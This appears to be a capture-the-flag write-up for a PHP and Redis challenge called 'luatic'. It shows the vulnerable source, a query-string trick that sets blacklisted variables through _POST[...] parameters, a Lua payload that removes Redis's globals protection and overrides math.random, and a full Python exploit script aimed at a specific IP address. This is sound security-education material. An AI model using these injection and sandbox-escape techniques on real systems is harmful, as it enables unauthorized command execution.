For this problem you are presented with a web page that lets you start
a redis instance for your team. The actual challenge is at
/luatic.php which looks like this:
<?php
/* Author: Orange Tsai(@orange_8361) */
include "config.php";
foreach($_REQUEST as $k=>$v) {
if( strlen($k) > 0 && preg_match('/^(FLAG|MY_|TEST_|GLOBALS)/i',$k) )
exit('Shame on you');
}
foreach(Array('_GET','_POST') as $request) {
foreach($$request as $k => $v) ${$k} = str_replace(str_split("[]{}=.'\""), "", $v);
}
if (strlen($token) == 0) highlight_file(__FILE__) and exit();
if (!preg_match('/^[a-f0-9-]{36}$/', $token)) die('Shame on you');
$guess = (int)$guess;
if ($guess == 0) die('Shame on you');
// Check team token
$status = check_team_redis_status($token);
if ($status == "Invalid token") die('Invalid token');
if (strlen($status) == 0 || $status == 'Stopped') die('Start Redis first');
// Get team redis port
$port = get_team_redis_port($token);
if ((int)$port < 1024) die('Try again');
// Connect, we rename insecure commands
// rename-command CONFIG ""
// rename-command SCRIPT ""
// rename-command MODULE ""
// rename-command SLAVEOF ""
// rename-command REPLICAOF ""
// rename-command SET $MY_SET_COMMAND
$redis = new Redis();
$redis->connect("127.0.0.1", $port);
if (!$redis->auth($token)) die('Auth fail');
// Check availability
$redis->rawCommand($MY_SET_COMMAND, $TEST_KEY, $TEST_VALUE);
if ($redis->get($TEST_KEY) !== $TEST_VALUE) die('Something Wrong?');
// Lottery!
$LUA_LOTTERY = "math.randomseed(ARGV[1]) for i=0, ARGV[2] do math.random() end return math.random(2^31-1)";
$seed = random_int(0, 0xffffffff / 2);
$count = random_int(5, 10);
$result = $redis->eval($LUA_LOTTERY, array($seed, $count));
sleep(3); // Slow down...
if ((int)$result === $guess)
die("Congratulations, the flag is $FLAG");
die(":(");So you’re supposed to provide the query parameters token and guess
where token is your team token and guess is an integer.
If the value returned by the following lua script equals your guess you win!
math.randomseed(ARGV[1])
for i=0, ARGV[2] do
math.random()
end
return math.random(2^31-1)Note that the arguments are generated in PHP in the ranges [0,
0xffffffff / 2] and [5, 10] respectively.
Now, are there any vulnerabilities? The most obvious one is the
following snippet, if we had access to $MY_SET_COMMAND, $TEST_KEY
and $TEST_VALUE.
// Check availability
$redis->rawCommand($MY_SET_COMMAND, $TEST_KEY, $TEST_VALUE);
if ($redis->get($TEST_KEY) !== $TEST_VALUE) die('Something Wrong?');Of course, because of the
preg_match('/^(FLAG|MY_|TEST_|GLOBALS)/i',$k) check we can’t set
them directly, but there is a loophole in the second loop, namely, we
can set $_POST during the first iteration (when $request is
_GET) of the loop by sending _POST as a parameter in the query
string.
foreach(Array('_GET','_POST') as $request) {
foreach($$request as $k => $v) ${$k} = str_replace(str_split("[]{}=.'\""), "", $v);
}Fortunately, from the way PHP parses query strings we can set
$_GET['_POST'] == array("k" => "v") by sending _POST[k]=v.
This lets us work around the first restriction and set any variable we
want. Running /luatic.php?token=<team token
here>&guess=1&_POST[MY_SET_COMMAND]=DEL gives use the response
Something Wrong? which confirms that it works.
Now that we can execute redis commands (with two parameters) it is
time to get the flag. Note that we are done if we can control the
return value of math.random inside the redis lua engine. Let’s try
to redefine that! We thus need to execute a lua script that replaces
the function, normally you can just do:
function math.random()
return 4
endBut there are two problems:
. is removed (together with {}[]='") in the
second loop in the php script.The first one is easily circumvented by setmetatable(_G, nil) 1
since redis is by design not implementing a proper sandbox 2.
Part 2 is solved by using rawset(table, key, value) on the math
module (table). Getting key to equal "random" can be done by
iterating over all keys of math in the following way.
for k, v in pairs(math) do
rawset(math, k, function () return 4 end)
endThe complete script is thus
setmetatable(_G, nil)
for k, v in pairs(math) do
rawset(math, k, function () return 4 end)
endand the redis command becomes
EVAL "setmetatable(_G, nil) for k, v in pairs(math) do rawset(math, k, function() return 4 end) end" 0
After evaluating the above command we send another request with our guess and obtain the flag.
Full solution:
import requests
url = 'http://54.250.242.183/luatic.php'
token = "<YOUR TEAM TOKEN HERE>"
lua = 'setmetatable(_G, nil) \
for k, v in pairs(math) \
do rawset(math, k, function() return 4 end) \
end'
def send(script=None, arg1=None, arg2=None):
params = {
'token': token,
'guess': 4,
}
if script:
params.update({
'_POST[MY_SET_COMMAND]': script,
'_POST[TEST_KEY]': arg1,
'_POST[TEST_VALUE]': arg2,
})
return requests.get(url, params=params).text
if __name__ == '__main__':
send("EVAL", lua, "0")
print(send())https://redis.io/commands/eval
↩︎Using Lua debugging functionality or other approaches like altering the meta table used to implement global protections in order to circumvent globals protection is not hard. However it is difficult to do it accidentally.